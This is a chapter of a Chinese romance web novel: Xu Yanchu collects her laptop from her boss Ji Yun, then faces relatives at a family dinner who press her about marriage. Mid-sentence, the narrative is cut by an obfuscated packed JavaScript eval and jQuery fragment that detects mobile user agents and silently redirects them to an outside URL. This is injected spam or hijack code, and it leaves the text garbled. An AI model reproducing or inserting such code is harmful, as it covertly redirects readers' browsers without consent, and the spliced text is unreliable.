许言初回复道:「有什么事吗?」
纪韵:「你昨天把笔记本电脑和文件落在我家里了。」
许言初居然直到他提醒,才想起来这个事。她觉得很是失态,「不好意思,我马上过来拿。」
到纪韵办公室时,他正低头看着文件,神情带着些严肃。
她抬手敲响房门,将他的注意力从手机上转移到她身上。她整理好情绪,扯出一个笑容,“纪总。”
纪韵抬起眼,轻轻点头示意。“坐下说话。”
正巧此刻茶水桌上的烧水壶发出咕噜咕噜的声音,沸腾的水泡争先恐后冒出。
纪韵站起身走了过去。
白色的烟雾从茶水壶的嘴里冒出,但又因为天气渐热,慢慢往上变得透明。
他从茶桌上拿过透明茶壶,将烧好的开水倒了进去,透明的水遇上茶杯里的茶末,顷刻间变成了浓郁的红色。
最后。
端到许言初面前的,是一套白色的瓷骨茶杯,里面是他刚泡好的红茶。
“谢谢,麻烦纪总了。”许言初抬手接过。
纪韵走回自己的位置重新坐下,他没说起她遗失的东西,而是说起了孙雪的事情,“星河盛世的声明,你看到了吗?”
“看到了。”她坐在办公桌对面的椅子,端起茶杯闻了闻,红茶浓郁的香气窜入她鼻腔。“我也看到孙雪转发了,没想到她这么配合。”
纪韵轻笑了一声,“她当然会配合,不然她的新剧上线时间就会被延后了。她仗着两家是多年世交,以为我不会跟她计较,才不知轻重搞出这些事情来。”
“确实有些过分。”她附和着,想着该问他拿回自己的东西,还没开口,他先截住了话头。
他问她:“你觉得这个声明怎么样?”
这个问题许言初听在耳中,有些不甚明白。她将茶杯放下,杯底和托盘碰撞,发出轻微的响声。
那则声明一看就是专业的公关公司写的,措辞官方且严谨,她又不是公关专业的,提不出什么专业见解。
她保持着微笑,“我觉得挺好,很专业,想必孙雪之后也不会再来碰瓷你了。”
许言初觉得这个回答很得体,但纪韵听后却没有立即接话。
他垂眼想了几秒钟,换了一种问话方式,“这个声明你满意吗?”
“啊?”她轻声讶异,不是很明白他为什么问她满不满意。
但很快她想通了。
发声明这个事情,是她思考过载随口提出来的,现在他采纳了她的建议,所以来问问提出这个建议的人满意与否。
“挺满意的。”她回答,“声明写得很清楚,与孙雪的界线也划得很分明。”
“那你觉得这则声明发出去,我的名声保住了吗?”他继续问。
许言初回想起昨晚大言不惭的话,有些尴尬,“星河盛世的声明挂在了热搜第一,这样大的传播范围,自然是......保住了名声。”
她顿了顿,手指无意识摩挲着茶杯边缘,“相信你喜欢的人看了这个声明,也一定是满意的。”
“那就好。”他接着话,眼尾带了很轻的笑意。
许言初也不知是不是自己的错觉,她发现纪韵身上的紧绷感突然就消失了,取而代之的是一种轻松感。
大概是因为她不过脑的话,搞得他这样在意。
但她现在不太想继续讨论这个话题,“对了纪总,我工作上还有事没处理,我的电脑和文件麻烦你给我一下。”
“没在我办公室。”他答,“我放在车上了,晚上一起回家的时候我再给你。”
一起回家。
这个如往常一般、心照不宣的事情,在此刻许言初听来却格外不合适。
如非必要,她应该要与他保持距离。
“不必了纪总。”她斟酌着用词,“我今晚就不和你一起回去了,你看你不介意的话,可以把车钥匙给我,我自己下去拿。”
纪韵眼神闪过一丝错愕与意外,“不用麻烦,我待会儿让蒋回拿给你。”
——
接下来两天,许言初都没有再蹭纪韵的车回家,也没有再和他一起吃饭。
这种有距离的上下级关系,她觉得处起来也不错。
周六一早她上了飞机,十一点就落地了海市。
出了机场,打车回家。到家正好赶上饭点。
行李箱滚轮的声音停在深灰色入户门前,她刚掏出钥匙,房门就从里面打开了。
开门的人不是她爸妈,是她的三姨金月华。
金月华看到她,抬手接过她的行李箱,“言言回来啦,就等你了,赶紧洗洗手吃饭了。”
直到进到家里,她才发现有亲戚来串门,是三姨和舅舅一家。而她爸妈在电话里也没提前说一声。
她顾不得赶路的疲惫,扯开笑挨个招呼着:“三姨,三姨夫,舅舅,舅妈,好久不见。”
舅妈正坐在沙发上,正扒着橘子,黄色的橘子皮汁将她粉色的美甲染了色。
她脸上笑着,“过了年好像就没见过你了,现在交通这样发达,得了空也可以多回家看看。”
舅舅金安正也接了话,“五一节好像没回来。”
“年后工作太忙了。”许言初解释道,“五一节临时加班,原本都买了机票的,最后退掉了。”
“言言姐姐。”一个十岁多的女孩跑了过来,是金月华的小女儿。
她个头偏矮,到许言下巴的位置,她眼神落在许言初头发上,“你的头发怎么拉直了?”
“卷发不好打理。”许言初低下头,眉眼变得弯弯的,“姐姐的老板天天让姐姐加班,就只能把头发拉直了,这样节省时间。”
女孩点点头,“我觉得你卷发好看,直发显得......有点生人勿近。”
金月华极少听许言初提起自己的工作,但她对于蓉市那样远城市的小公司嗤之以鼻。
她接了话,“让你毕业回海市你不听,那种小地方的公司,老板都是一言堂的。你看都压榨得你,连漂漂亮亮的发型都没有时间打理了。”
她又看了看许言初的脸,“脸上看着也憔悴了好多,我看你还是回海市工作,我让你表哥在公司给你安排个岗位。”
许言初的表哥在海市一家上市公司工作,做管理层,工作体面,工资也高,金月华每次提起来都骄傲得不行。
“可以呀,三姨。”许言初笑眯眯接着话,她知道三姨喜欢听什么话,“等我想回海市了,就靠表哥给我找工作了。”
“等你想回海市还不知道猴年马月。”许言初妈妈金玲从厨房端了菜出来,不做声色维护着,“不过你那个工作工资挺好的,不然我还真觉得,待在外地不如回来考个公务员。”
金月华闻言,顺着就问了下去,“多少钱一个月?”
许母打着哈哈,“没多少,够她用的。”
许言初没管她们的对话,径直去了厨房洗手。
她家的厨房不太大,侧身从许父什么挪过去,走到了水龙头前。
她一面洗着手,一面招呼着,“爸爸,我来帮你。”
许父将灶台的火关灭,又将锅里的菜盛了出来。吩咐着:“把饭打上。”
“好。”许言初应声,洗完手甩了甩水,就弯腰去拿橱柜里的碗。
餐桌上很快摆满了饭菜,许言初盛完饭拿了一把筷子出来,众人围着餐桌坐下了。
“我
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17837196|211489||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
提一个。”舅舅坐下后开了口,“言言难得回来,我们一家人聚在一起吃饭,是件值得高兴的事情。现在孩子大了,都有自己的事情要忙,我们做家长的就要做好后勤工作。”
金月华斜了他一眼,“行了,吃个饭你搞些仪式出来。你这还没喝,就开始表演欲强烈了?”
舅舅嘟囔了两声,没再反驳什么。
话匣打开,众人一边吃着饭一边聊了起来。
许言初夹了一筷子菜,想起来什么,插了话,“对了,二姨今天怎么没过来?”
“你二姨家里今天去吃喜酒了。”许母接话,“这两天是好日子,宜嫁娶,你说你明天也要去吃喜酒,是谁结婚?”
许言初了然,“是林茉结婚,你还记得她吗?”
“记得记得。”许母回忆,“高中的时候,她来我们家吃过几次饭,这姑娘性格挺开朗的。”
“那你明天要不要跟我一起去?”许言初问。
“不了。”许母答,“你们同学结婚,我们跑去不合适。”
金月华听了两耳朵,问着许言初,“你高中同学要结婚了呀?”
许言初点头,“高中室友。”
金月华算是找到了话题点,“你看你高中室友都结婚了,你还连个对象都没有,自己也不知道着急。”
这话倒是跟许母统一了战线,“就是说,你都二十六岁了,眼见着就要奔三了,该考虑个人问题了。”
许言初没有接话。
这一幕刚在过年的时候上演过。
国内的父母在子女恋爱结婚这件事上,出奇的统一。读书时候怕早恋,大学毕业又恨不得马上就结婚。
毕业超过一年没有对象,那便是整个家族的头等大事。
许言初则更倒霉了,她妈妈这边,除了一个上初中的妹妹和她,其他的都已经结婚。
因而。
逢年过节,她成了唯一征讨的对象。
金月华语气变得恨铁不成钢,“前段时间我让你妈妈给你推的男生微信,你为什么不加?那么好的条件,你不加,人两个月后就被别人收走了。”
直接问到面前,许言初没办法再装哑巴,囫囵找了个理由,“他在海市工作,我在蓉市,我不接受异地恋的。”
“什么异地恋?”金月华不理解,“都是海市的,你难不成打算一辈子在蓉市那个小地方待着?”
她也不管许言初会不会拒绝,“算了,我改天再给你找找,这次不许不加人微信了,你搞得你三姨多尴尬。”
许言初勾起嘴角礼貌笑了笑。
她想起去年另一个室友唐欣瑶的吐槽,说是家里给介绍了一个二婚离异带娃的,学历收入都不如唐欣瑶。
唐欣瑶当即破防了,直接骂了回去。
然后在室友群里打电话吐槽,那天她正好有空,听了完完整整的过程。
很多亲戚介绍对象,并不是出于真心,只是想贬低看笑话而已。
很可惜,金月华不是这种亲戚。
她的三姨优越感很足,小的时候时常听她讲体制内如何如何,又因为老公有钱便提前退了休,现在变成了炫耀名校毕业有出息的儿子。
同样因为优越感很足,许言初从小在三姨那里拿到的红包都是最大的,逢年过节,三姨来串门还会给她带礼物。
并且在给许言初介绍对象这件事上,始终以掐着尖的姿态。有好几次对方条件好到,她都怀疑金月华被杀猪盘盯上了。
所以。
她没办法像唐欣瑶一样当场翻脸,只能委婉打着哈哈,“到时候再说。”
“言言。”许母接了话,“这些年给你介绍对象,你都没看上,你是不是有喜欢的人了?”